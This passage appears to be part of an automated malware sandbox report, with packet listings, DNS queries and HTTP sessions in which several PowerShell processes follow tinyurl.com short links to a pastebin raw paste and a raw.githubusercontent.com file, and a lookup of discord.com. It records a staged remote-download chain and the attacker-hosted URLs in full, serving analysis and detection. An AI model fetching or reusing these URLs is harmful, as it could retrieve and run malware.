Sep 16, 2024 19:24:56.264992952 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.264997959 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265019894 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265038967 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265039921 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265050888 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265070915 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265086889 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265094042 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265122890 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265135050 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265141964 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265149117 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265167952 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265175104 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265204906 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265219927 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265232086 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265254974 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265255928 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265268087 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265284061 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265311956 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265321016 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265341043 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265367031 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265372038 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265388966 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265391111 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265397072 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265403986 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265423059 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265425920 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265450954 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265456915 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265471935 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265484095 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265496016 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265501976 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265522957 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265526056 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265553951 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265558958 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265569925 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265573978 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265594006 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265623093 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265623093 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265630007 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265645027 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265654087 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265672922 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265675068 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265683889 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:56.265700102 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:56.265719891 CEST	51652	443	192.168.2.5	185.199.109.133

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 16, 2024 19:24:09.351294994 CEST	192.168.2.5	1.1.1.1	0x8228	Standard query (0)	tinyurl.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:09.937220097 CEST	192.168.2.5	1.1.1.1	0x26cb	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:11.540663958 CEST	192.168.2.5	1.1.1.1	0x879b	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:19.751993895 CEST	192.168.2.5	1.1.1.1	0x5408	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 16, 2024 19:24:09.358608007 CEST	1.1.1.1	192.168.2.5	0x8228	No error (0)	tinyurl.com	104.17.112.233	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:09.358608007 CEST	1.1.1.1	192.168.2.5	0x8228	No error (0)	tinyurl.com	104.18.111.161	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:09.945503950 CEST	1.1.1.1	192.168.2.5	0x26cb	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:09.945503950 CEST	1.1.1.1	192.168.2.5	0x26cb	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:09.945503950 CEST	1.1.1.1	192.168.2.5	0x26cb	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:11.548069000 CEST	1.1.1.1	192.168.2.5	0x879b	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:11.548069000 CEST	1.1.1.1	192.168.2.5	0x879b	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:11.548069000 CEST	1.1.1.1	192.168.2.5	0x879b	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:11.548069000 CEST	1.1.1.1	192.168.2.5	0x879b	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:19.759716988 CEST	1.1.1.1	192.168.2.5	0x5408	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:19.759716988 CEST	1.1.1.1	192.168.2.5	0x5408	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:19.759716988 CEST	1.1.1.1	192.168.2.5	0x5408	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:19.759716988 CEST	1.1.1.1	192.168.2.5	0x5408	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Sep 16, 2024 19:24:19.759716988 CEST	1.1.1.1	192.168.2.5	0x5408	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	104.17.112.233	80	2668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:24:09.426758051 CEST	164	OUT	GET /yeykydun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com Connection: Keep-Alive
Sep 16, 2024 19:24:09.894181013 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:24:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://pastebin.com/raw/sA04Mwk2 Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6InZFNjVoa0hlbkhjdmc5K3o4bWs3VFE9PSIsInZhbHVlIjoield4RFU3QVcycHc2MjRJWnFSdkJYM0w5TndSUVhCSFgzMVdYSEFXdy9leGVVL3lodDlPNVljQmZTbFRlOFdTZjk2S1VTdy8xNTZkTWc2MDVjcXBLTHc9PSIsIm1hYyI6IjQ0ZTJjMTQwOTYyODQwYjhlN2NlZjAwYzQxMWI2NTVkMjU0MzliM2I4ODI2ZjA4ZTBkYzAwZTBkYTM0ZDMxZTciLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=XDbg7W8GsypIEN6ZZNqPSQDEPotIqVwfkEEVLpBRAdg-1726507449-1.0.1.1-b_XKfBEStKbAhUUmv9MY9QA4xijyLloH7_naS_CaJp0lKoq24DmnhdVQ7H0ToopqxPEHln.b9CXNh05xwkwZog; path=/; expires=Mon, 16-Sep-24 17:54:09 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c428c693cf443e0-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f Data Ascii: 17a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://pastebin.com/
Sep 16, 2024 19:24:09.894228935 CEST	241	IN	Data Raw: 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 Data Ascii: raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body></html>
Sep 16, 2024 19:24:09.981060028 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 16, 2024 19:24:11.159306049 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 19:24:11.381865978 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 19:24:11.545021057 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:24:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6ImFoaVE1MHZ5UmtGQlRXby9UOTFwTlE9PSIsInZhbHVlIjoidS9ITnp0TUFFb1gxK1BhKzY0L3pYRkRJdXk4WGdEQ3ZUWFJHRXlQWlVxRExzTDdmNTlQR0QvUXdjUGxzL1M1ZEhXZHEvSldFbzN0bzRpa1Y3WWIxTEE9PSIsIm1hYyI6IjU0Y2QwMjQyZjNkMmJjNGY0MzM3MTUzNTc4MDdmMDQ5MzgyYzA0NWYwZDUyZTY2NTk4NDBkNWQ2MjZhNjU5ZWIiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=hhd9Qbw5swYy4Dx5LsGLTgGAoI9gkOT_9PsqPsnoNWc-1726507451-1.0.1.1-tigwbLoonwyQ.3fOjFGEiDTX8kopU4TUkbIJixKmL3aoucNq3gSk3gSSlNdCVtKjN8PYxGfC_i1m0C.nZwScpg; path=/; expires=Mon, 16-Sep-24 17:54:11 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c428c73abc843e0-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d Data Ascii: 24e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-
Sep 16, 2024 19:24:11.545079947 CEST	506	IN	Data Raw: 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 Data Ascii: equiv="refresh" content="0;url='https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt'" /> <title>Redirecting to https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt</
Sep 16, 2024 19:24:11.631505013 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49704	104.17.112.233	80	3996	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:24:09.428325891 CEST	164	OUT	GET /yeykydun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com Connection: Keep-Alive
Sep 16, 2024 19:24:09.894372940 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:24:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://pastebin.com/raw/sA04Mwk2 Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6InZFNjVoa0hlbkhjdmc5K3o4bWs3VFE9PSIsInZhbHVlIjoield4RFU3QVcycHc2MjRJWnFSdkJYM0w5TndSUVhCSFgzMVdYSEFXdy9leGVVL3lodDlPNVljQmZTbFRlOFdTZjk2S1VTdy8xNTZkTWc2MDVjcXBLTHc9PSIsIm1hYyI6IjQ0ZTJjMTQwOTYyODQwYjhlN2NlZjAwYzQxMWI2NTVkMjU0MzliM2I4ODI2ZjA4ZTBkYzAwZTBkYTM0ZDMxZTciLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=7tJ4RCEX3PFZQ_cGYfEOAP5vZKzcmf7P3W1xBWPHyQw-1726507449-1.0.1.1-WyitU.NfhB7FMMonNwv60_q9qtapEeo0mNwxYc7j_H4Z0h0S151BkVaqotCLwgad6lNCwWs.2jq9edIgL1kerw; path=/; expires=Mon, 16-Sep-24 17:54:09 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c428c693dbf7c7c-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f Data Ascii: 17a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://pastebin.com/
Sep 16, 2024 19:24:09.894403934 CEST	246	IN	Data Raw: 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 Data Ascii: raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body></html>0
Sep 16, 2024 19:24:11.306247950 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 19:24:11.540625095 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:24:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6ImFoaVE1MHZ5UmtGQlRXby9UOTFwTlE9PSIsInZhbHVlIjoidS9ITnp0TUFFb1gxK1BhKzY0L3pYRkRJdXk4WGdEQ3ZUWFJHRXlQWlVxRExzTDdmNTlQR0QvUXdjUGxzL1M1ZEhXZHEvSldFbzN0bzRpa1Y3WWIxTEE9PSIsIm1hYyI6IjU0Y2QwMjQyZjNkMmJjNGY0MzM3MTUzNTc4MDdmMDQ5MzgyYzA0NWYwZDUyZTY2NTk4NDBkNWQ2MjZhNjU5ZWIiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=3M2GkeG_pC1gASjpWoQBIDDXm1SPWs03bgq_4UW9Zhw-1726507451-1.0.1.1-Eza9WFOcFZj2_UA2BsRFCbtxUcFl.DnWWSI9AE.06.36eJbY3mGdO9AAt6Y9jv_Pn.BdANqNFz07OAQIud9fKw; path=/; expires=Mon, 16-Sep-24 17:54:11 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c428c73ac277c7c-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d Data Ascii: 24e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-
Sep 16, 2024 19:24:11.540680885 CEST	506	IN	Data Raw: 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 Data Ascii: equiv="refresh" content="0;url='https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt'" /> <title>Redirecting to https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt</
Sep 16, 2024 19:24:11.627151012 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.17.112.233	80	5980	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:24:09.434581995 CEST	164	OUT	GET /yeykydun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com Connection: Keep-Alive
Sep 16, 2024 19:24:09.934200048 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:24:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://pastebin.com/raw/sA04Mwk2 Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6InZFNjVoa0hlbkhjdmc5K3o4bWs3VFE9PSIsInZhbHVlIjoield4RFU3QVcycHc2MjRJWnFSdkJYM0w5TndSUVhCSFgzMVdYSEFXdy9leGVVL3lodDlPNVljQmZTbFRlOFdTZjk2S1VTdy8xNTZkTWc2MDVjcXBLTHc9PSIsIm1hYyI6IjQ0ZTJjMTQwOTYyODQwYjhlN2NlZjAwYzQxMWI2NTVkMjU0MzliM2I4ODI2ZjA4ZTBkYzAwZTBkYTM0ZDMxZTciLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Age: 0 Set-Cookie: __cf_bm=pUAj_HloMafiUnpSy7I6HM.GdO_vN0Zh649SapYu.JY-1726507449-1.0.1.1-VC.EugDKppX_DVrQ7bQqaSlYiY.4jpiui7JwHhHG26L4GGh1McydUYU.5I7nOMyrqgX.AzTs9geoz2zmAFYN9A; path=/; expires=Mon, 16-Sep-24 17:54:09 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c428c69887f1861-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 Data Ascii: 17a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://paste
Sep 16, 2024 19:24:09.934245110 CEST	254	IN	Data Raw: 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f 73 41 30 34 4d 77 6b 32 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 72 61 77 2f Data Ascii: bin.com/raw/sA04Mwk2'" /> <title>Redirecting to https://pastebin.com/raw/sA04Mwk2</title> </head> <body> Redirecting to <a href="https://pastebin.com/raw/sA04Mwk2">https://pastebin.com/raw/sA04Mwk2</a>. </body></h
Sep 16, 2024 19:24:11.302580118 CEST	140	OUT	GET /yk3s8ubp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com
Sep 16, 2024 19:24:11.539554119 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 16 Sep 2024 17:24:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Referrer-Policy: unsafe-url X-Robots-Tag: noindex X-TinyURL-Redirect-Type: redirect Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private X-TinyURL-Redirect: eyJpdiI6ImFoaVE1MHZ5UmtGQlRXby9UOTFwTlE9PSIsInZhbHVlIjoidS9ITnp0TUFFb1gxK1BhKzY0L3pYRkRJdXk4WGdEQ3ZUWFJHRXlQWlVxRExzTDdmNTlQR0QvUXdjUGxzL1M1ZEhXZHEvSldFbzN0bzRpa1Y3WWIxTEE9PSIsIm1hYyI6IjU0Y2QwMjQyZjNkMmJjNGY0MzM3MTUzNTc4MDdmMDQ5MzgyYzA0NWYwZDUyZTY2NTk4NDBkNWQ2MjZhNjU5ZWIiLCJ0YWciOiIifQ== X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: HIT Set-Cookie: __cf_bm=dC1hBe6MJWFmSXZweGagYp_zmvonXj9vSy0xQRQSPXc-1726507451-1.0.1.1-QyPa5tE4X5rvVKbk3n3O5SqdVjBbiCPvICwTbH.Yb8Pg8Lds7T0bk5Pmo324GxrUnSM4CVMvzaRgq7npQy9piw; path=/; expires=Mon, 16-Sep-24 17:54:11 GMT; domain=.tinyurl.com; HttpOnly Server: cloudflare CF-RAY: 8c428c73ae1a1861-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 32 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d Data Ascii: 24e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-
Sep 16, 2024 19:24:11.539678097 CEST	511	IN	Data Raw: 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 4e 65 74 68 33 4e 2f 6e 61 39 6f 77 33 34 39 35 Data Ascii: equiv="refresh" content="0;url='https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt'" /> <title>Redirecting to https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt</

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	104.17.112.233	80	6976	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 16, 2024 19:24:10.092802048 CEST	164	OUT	GET /yeykydun HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tinyurl.com Connection: Keep-Alive
